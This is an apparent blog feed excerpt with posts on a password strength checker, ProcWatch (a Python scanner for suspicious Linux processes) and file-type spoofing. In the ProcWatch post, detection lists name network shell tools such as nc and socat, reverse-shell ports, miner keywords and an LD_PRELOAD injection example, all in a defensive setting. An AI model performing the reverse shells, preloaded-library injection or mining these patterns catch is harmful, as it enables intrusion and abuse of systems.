    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ent&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;dict_hit&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;pat_hit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;WEAK&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ent&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;MODERATE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;STRONG&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is intentionally strict.&lt;/p&gt;

&lt;p&gt;Even a long password becomes WEAK if it contains a dictionary word or keyboard pattern.&lt;br&gt;
Because real attackers prioritize predictability, not just length.&lt;/p&gt;


&lt;h3&gt;
  
  
  7. Real-Time Analysis (The Important Part)
&lt;/h3&gt;

&lt;p&gt;The most important function in the program is the event handler:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pw_entry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;KeyRelease&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_on_change&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every time the user types a character, &lt;code&gt;_on_change()&lt;/code&gt; runs.&lt;/p&gt;

&lt;p&gt;It:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;reads the password&lt;/li&gt;
&lt;li&gt;calculates entropy&lt;/li&gt;
&lt;li&gt;checks patterns&lt;/li&gt;
&lt;li&gt;updates warnings&lt;/li&gt;
&lt;li&gt;moves the strength bar&lt;/li&gt;
&lt;li&gt;updates the verdict&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is why the interface feels “alive”.&lt;br&gt;
The analysis is not triggered by a button, but by typing itself.&lt;/p&gt;




&lt;h3&gt;
  
  
  8. Separating Logic From UI
&lt;/h3&gt;

&lt;p&gt;A design decision I intentionally followed:&lt;/p&gt;

&lt;p&gt;The GUI never performs security logic.&lt;/p&gt;

&lt;p&gt;It only displays results from functions like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;calc_entropy()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dictionary_check()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pattern_check()&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This makes the security engine reusable later in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a CLI tool&lt;/li&gt;
&lt;li&gt;a web application&lt;/li&gt;
&lt;li&gt;a login auditing system&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The interface is just the dashboard.&lt;/p&gt;

&lt;p&gt;The real work happens in the functions.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technologies Used
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Python&lt;/li&gt;
&lt;li&gt;CustomTkinter (for a modern dark UI)&lt;/li&gt;
&lt;li&gt;regex pattern detection&lt;/li&gt;
&lt;li&gt;entropy mathematics&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No online APIs.&lt;br&gt;
No heavy security libraries.&lt;/p&gt;

&lt;p&gt;Just math + psychology.&lt;/p&gt;

&lt;h2&gt;
  
  
  Screenshots
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb816p785f9zr0yhovn64.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb816p785f9zr0yhovn64.png" alt=" " width="603" height="700"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6kzcubg1umuhcewzgtim.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6kzcubg1umuhcewzgtim.png" alt=" " width="603" height="696"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  A Note on AI Assistance
&lt;/h2&gt;

&lt;p&gt;One honest detail about this project.&lt;/p&gt;

&lt;p&gt;I’m not very strong on the design side of development. I enjoy security logic, analysis, and building tools, but UI layout and visual polish have never been my area. So for the interface layout and visual structuring, I used Claude to help me shape the GUI.&lt;/p&gt;

&lt;p&gt;The challenge itself is not an “AI-generated project”. All the security logic, entropy calculations, detections, and implementation were written and understood by me. I only used AI as a design assistant.&lt;/p&gt;

&lt;p&gt;I see this as part of modern engineering rather than a shortcut.&lt;/p&gt;

&lt;p&gt;Developers already rely on compilers, frameworks, linters, and libraries to handle things outside our core expertise. AI fits into that same space. It helps automate overhead work that we’re not specialized in, so we can focus on what we are actually trying to learn and build.&lt;/p&gt;

&lt;p&gt;In my case, that focus is cybersecurity concepts, not visual design.&lt;/p&gt;

&lt;p&gt;I believe the real skill today is not avoiding tools, but using them responsibly and understanding the code you ship.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;I thought this would be a GUI project.&lt;/p&gt;

&lt;p&gt;It turned into a lesson about security.&lt;/p&gt;

&lt;p&gt;Strong passwords are not:&lt;/p&gt;

&lt;p&gt;long words&lt;br&gt;
clever substitutions&lt;br&gt;
personal references&lt;/p&gt;

&lt;p&gt;Strong passwords are:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;unpredictable.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Security doesn’t usually fail because cryptography breaks.&lt;/p&gt;

&lt;p&gt;Security fails because humans are consistent.&lt;/p&gt;

&lt;p&gt;And computers are extremely good at exploiting consistency.&lt;/p&gt;

</description>
      <category>programming</category>
      <category>python</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>Day 14 — I Built ProcWatch : A Linux Process Security Scanner for Forensics &amp; Incident Response</title>
      <dc:creator>Hafiz Shamnad</dc:creator>
      <pubDate>Sun, 01 Mar 2026 06:17:20 +0000</pubDate>
      <link>https://forem.com/hafiz_shamnad/day-14-i-built-procwatch-a-linux-process-security-scanner-for-forensics-incident-response-2bm5</link>
      <guid>https://forem.com/hafiz_shamnad/day-14-i-built-procwatch-a-linux-process-security-scanner-for-forensics-incident-response-2bm5</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;A small Python script that turned into a live anomaly detector and accidentally taught me how attackers actually live inside a Linux machine.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The Moment This Tool Became Necessary
&lt;/h2&gt;

&lt;p&gt;If you’ve ever solved a Linux forensics CTF, you know the ritual.&lt;/p&gt;

&lt;p&gt;You SSH into the machine.&lt;br&gt;
Everything &lt;em&gt;looks&lt;/em&gt; normal.&lt;/p&gt;

&lt;p&gt;Then you notice:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CPU usage feels weird&lt;/li&gt;
&lt;li&gt;There’s network traffic&lt;/li&gt;
&lt;li&gt;Logs don’t line up&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So you begin the ancient ceremony:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ps aux | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nb"&gt;grep
&lt;/span&gt;netstat &lt;span class="nt"&gt;-tulnp&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /tmp
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/&amp;lt;pid&amp;gt;/cmdline
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You scroll.&lt;br&gt;
You guess.&lt;br&gt;
You re-run commands.&lt;/p&gt;

&lt;p&gt;Somewhere in those 200+ processes is a reverse shell, a dropper, or a cryptominer… and you are manually playing &lt;strong&gt;Where’s Waldo: Incident Response Edition&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;After one challenge where I lost 40 minutes hunting a shell hiding in &lt;code&gt;/dev/shm&lt;/code&gt;, I realized:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I wasn’t solving a cybersecurity problem.&lt;br&gt;
I was solving a &lt;em&gt;visibility&lt;/em&gt; problem.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So I built a tool.&lt;/p&gt;

&lt;p&gt;That tool became &lt;strong&gt;ProcWatch&lt;/strong&gt;.&lt;/p&gt;


&lt;h2&gt;
  
  
  What ProcWatch Actually Is
&lt;/h2&gt;

&lt;p&gt;ProcWatch is a Python-based &lt;strong&gt;process behavior scanner&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Not antivirus.&lt;br&gt;
Not signature detection.&lt;/p&gt;

&lt;p&gt;It asks a different question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Is any process on this system behaving like an attacker would?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Instead of checking files, it watches &lt;strong&gt;process behavior patterns&lt;/strong&gt; used in real intrusions.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Threat Model
&lt;/h2&gt;

&lt;p&gt;Before writing detections, I mapped how attackers typically behave after gaining Linux access:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stage&lt;/th&gt;
&lt;th&gt;What attackers do&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Foothold&lt;/td&gt;
&lt;td&gt;Drop binaries in &lt;code&gt;/tmp&lt;/code&gt; or &lt;code&gt;/dev/shm&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Control&lt;/td&gt;
&lt;td&gt;Spawn reverse shells&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Escalation&lt;/td&gt;
&lt;td&gt;Abuse SUID or LD_PRELOAD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence&lt;/td&gt;
&lt;td&gt;Run scripts via interpreters&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Monetization&lt;/td&gt;
&lt;td&gt;Install crypto miners&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Evasion&lt;/td&gt;
&lt;td&gt;Delete binaries after execution&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Every ProcWatch detection maps directly to one of these.&lt;/p&gt;


&lt;h2&gt;
  
  
  Detection 1 — Executing from Writable Directories (CRITICAL)
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;SUSPICIOUS_LOCATIONS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/dev/shm&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/var/tmp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/run/user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/dev/mqueue&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Malware loves writable directories because:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No permissions required&lt;/li&gt;
&lt;li&gt;Rarely monitored&lt;/li&gt;
&lt;li&gt;Easy to clean up&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;/dev/shm&lt;/code&gt; is especially interesting.&lt;br&gt;
It’s RAM-backed storage. Reboot the machine and evidence disappears.&lt;/p&gt;

&lt;p&gt;Legitimate software almost never runs from here.&lt;/p&gt;

&lt;p&gt;If you see:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/dev/shm/hidden_binary
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You didn’t find a program.&lt;/p&gt;

&lt;p&gt;You found the attacker.&lt;/p&gt;




&lt;h2&gt;
  
  
  Detection 2 — Suspicious Interpreter Usage
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;SUSPICIOUS_NAMES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bash&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sh&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;nc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;python&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;perl&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ruby&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;socat&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On its own this means nothing.&lt;/p&gt;

&lt;p&gt;But combined with location or network activity, it becomes powerful.&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;python3&lt;/code&gt; process is normal.&lt;br&gt;
A &lt;code&gt;python3&lt;/code&gt; process in &lt;code&gt;/tmp&lt;/code&gt; connected to port 4444 is not.&lt;/p&gt;

&lt;p&gt;This is called &lt;strong&gt;living-off-the-land&lt;/strong&gt;.&lt;br&gt;
Attackers use legitimate tools so they don’t need to upload malware.&lt;/p&gt;


&lt;h2&gt;
  
  
  Detection 3 — Privilege Escalation Indicators
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;uids&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;real&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;uids&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;effective&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Linux processes have:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;real UID&lt;/li&gt;
&lt;li&gt;effective UID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If they differ, you just caught a &lt;strong&gt;SUID privilege escalation in action&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Even more suspicious:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root process running from /home/user
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root processes belong in &lt;code&gt;/usr/bin&lt;/code&gt;, not a user’s Downloads folder.&lt;/p&gt;




&lt;h2&gt;
  
  
  Detection 4 — Reverse Shell &amp;amp; C2 Detection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="mi"&gt;4444&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5555&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7777&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;31337&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These ports are classics for reverse shells and C2 listeners.&lt;/p&gt;

&lt;p&gt;ProcWatch distinguishes between:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;LISTEN → suspicious&lt;/li&gt;
&lt;li&gt;ESTABLISHED outbound connection → almost certain compromise&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A process connecting outward to port 4444 is basically waving a flag saying:&lt;br&gt;
“someone else is controlling me.”&lt;/p&gt;


&lt;h2&gt;
  
  
  Detection 5 — Cryptominer Detection
&lt;/h2&gt;

&lt;p&gt;Two techniques:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Keyword detection
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;xmrig, monero, stratum, pool
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Behavioral detection
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CPU usage &amp;gt; 85%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Why this matters:&lt;/p&gt;

&lt;p&gt;Modern attackers often don’t destroy systems.&lt;/p&gt;

&lt;p&gt;They monetize them.&lt;/p&gt;

&lt;p&gt;Many real breaches are discovered because servers suddenly run at 100% CPU 24/7.&lt;/p&gt;


&lt;h2&gt;
  
  
  Detection 6 — Deleted Executable Trick
&lt;/h2&gt;

&lt;p&gt;Attackers often do:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Run malware&lt;/li&gt;
&lt;li&gt;Delete the file&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Linux keeps the process alive in memory.&lt;/p&gt;

&lt;p&gt;The file disappears from disk but continues executing.&lt;/p&gt;

&lt;p&gt;Kernel hint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/proc/&amp;lt;pid&amp;gt;/exe -&amp;gt; binary (deleted)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;ProcWatch detects exactly this.&lt;/p&gt;

&lt;p&gt;You can even recover it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cp&lt;/span&gt; /proc/&amp;lt;pid&amp;gt;/exe recovered_binary
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s a real forensic technique.&lt;/p&gt;




&lt;h2&gt;
  
  
  Detection 7 — LD_PRELOAD Injection (Advanced)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;LD_PRELOAD&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;libevil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;so&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is powerful.&lt;/p&gt;

&lt;p&gt;Instead of malware, attackers load a malicious library that intercepts system calls:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;hide files&lt;/li&gt;
&lt;li&gt;steal passwords&lt;/li&gt;
&lt;li&gt;fake authentication&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is how many user-space rootkits work.&lt;/p&gt;

&lt;p&gt;Catching this is almost always a confirmed compromise.&lt;/p&gt;




&lt;h2&gt;
  
  
  The CLI
&lt;/h2&gt;

&lt;p&gt;I designed the tool like &lt;code&gt;git&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;procwatch scan
procwatch scan -v -j
procwatch watch
procwatch info &amp;lt;pid&amp;gt;
procwatch list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The most useful mode
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;procwatch watch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It alerts only on &lt;strong&gt;new suspicious processes&lt;/strong&gt;, so you get a live feed of attacker activity.&lt;/p&gt;

&lt;p&gt;It feels surprisingly close to a real SOC monitoring console.&lt;/p&gt;




&lt;h2&gt;
  
  
  How This Helps in CTFs
&lt;/h2&gt;

&lt;p&gt;Immediately after login:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;procwatch scan -j
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You now have a timestamped snapshot of the system’s process state.&lt;/p&gt;

&lt;p&gt;Instead of investigating 200 processes, you investigate &lt;strong&gt;3&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That changes a 45-minute challenge into a 5-minute one.&lt;/p&gt;




&lt;h2&gt;
  
  
  Limitations
&lt;/h2&gt;

&lt;p&gt;This tool operates in user space via &lt;code&gt;/proc&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So it &lt;strong&gt;cannot detect kernel rootkits&lt;/strong&gt;.&lt;br&gt;
If the kernel itself lies, ProcWatch will believe it.&lt;/p&gt;

&lt;p&gt;Also:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Some interpreter alerts are false positives&lt;/li&gt;
&lt;li&gt;Containers hide processes via namespaces&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Future upgrades I’m considering:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;YARA memory scanning&lt;/li&gt;
&lt;li&gt;eBPF syscall monitoring&lt;/li&gt;
&lt;li&gt;ptrace detection&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Running It
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;psutil
&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 procwatch.py scan &lt;span class="nt"&gt;-v&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa4a2ge4dxygk60sbu1zh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa4a2ge4dxygk60sbu1zh.png" alt=" " width="800" height="702"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0dr2xruzlfhpi72obgh5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0dr2xruzlfhpi72obgh5.png" alt=" " width="800" height="293"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(Root gives full visibility into environment variables and connections.)&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;I started this to automate a CTF workflow.&lt;/p&gt;

&lt;p&gt;Instead, I learned something important:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Attackers don’t hide files.&lt;br&gt;
They hide behavior inside normal processes.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And behavior is much harder to fake.&lt;/p&gt;

&lt;p&gt;ProcWatch doesn’t replace investigation.&lt;br&gt;
It just shines a flashlight directly where you should start looking.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>cybersecurity</category>
      <category>python</category>
      <category>programming</category>
    </item>
    <item>
      <title>Day 13 — I Stopped Trusting File Names and Started Inspecting Files (SafeOpen v2)</title>
      <dc:creator>Hafiz Shamnad</dc:creator>
      <pubDate>Fri, 27 Feb 2026 05:30:21 +0000</pubDate>
      <link>https://forem.com/hafiz_shamnad/day-13-i-stopped-trusting-file-names-and-started-inspecting-files-safeopen-v2-2hpl</link>
      <guid>https://forem.com/hafiz_shamnad/day-13-i-stopped-trusting-file-names-and-started-inspecting-files-safeopen-v2-2hpl</guid>
      <description>&lt;p&gt;Yesterday my tool only looked at the filename.&lt;br&gt;&lt;br&gt;
Today I realised the filename is the lie attackers want you to believe.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Moment Everything Changed
&lt;/h3&gt;

&lt;p&gt;I took a harmless &lt;code&gt;malicious.bat&lt;/code&gt; and renamed it to &lt;code&gt;invoice.pdf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;My old checker (Day 12) said: “Looks safe ✅”&lt;br&gt;&lt;br&gt;
Windows Explorer showed: &lt;code&gt;invoice.pdf&lt;/code&gt; (icon = PDF)&lt;br&gt;&lt;br&gt;
A normal user would double-click without a second thought.&lt;/p&gt;

&lt;p&gt;But the file was still a batch script.&lt;/p&gt;

&lt;p&gt;That’s when it hit me:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The operating system doesn’t execute the name.&lt;br&gt;&lt;br&gt;
It executes the content.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Files Have Two Identities
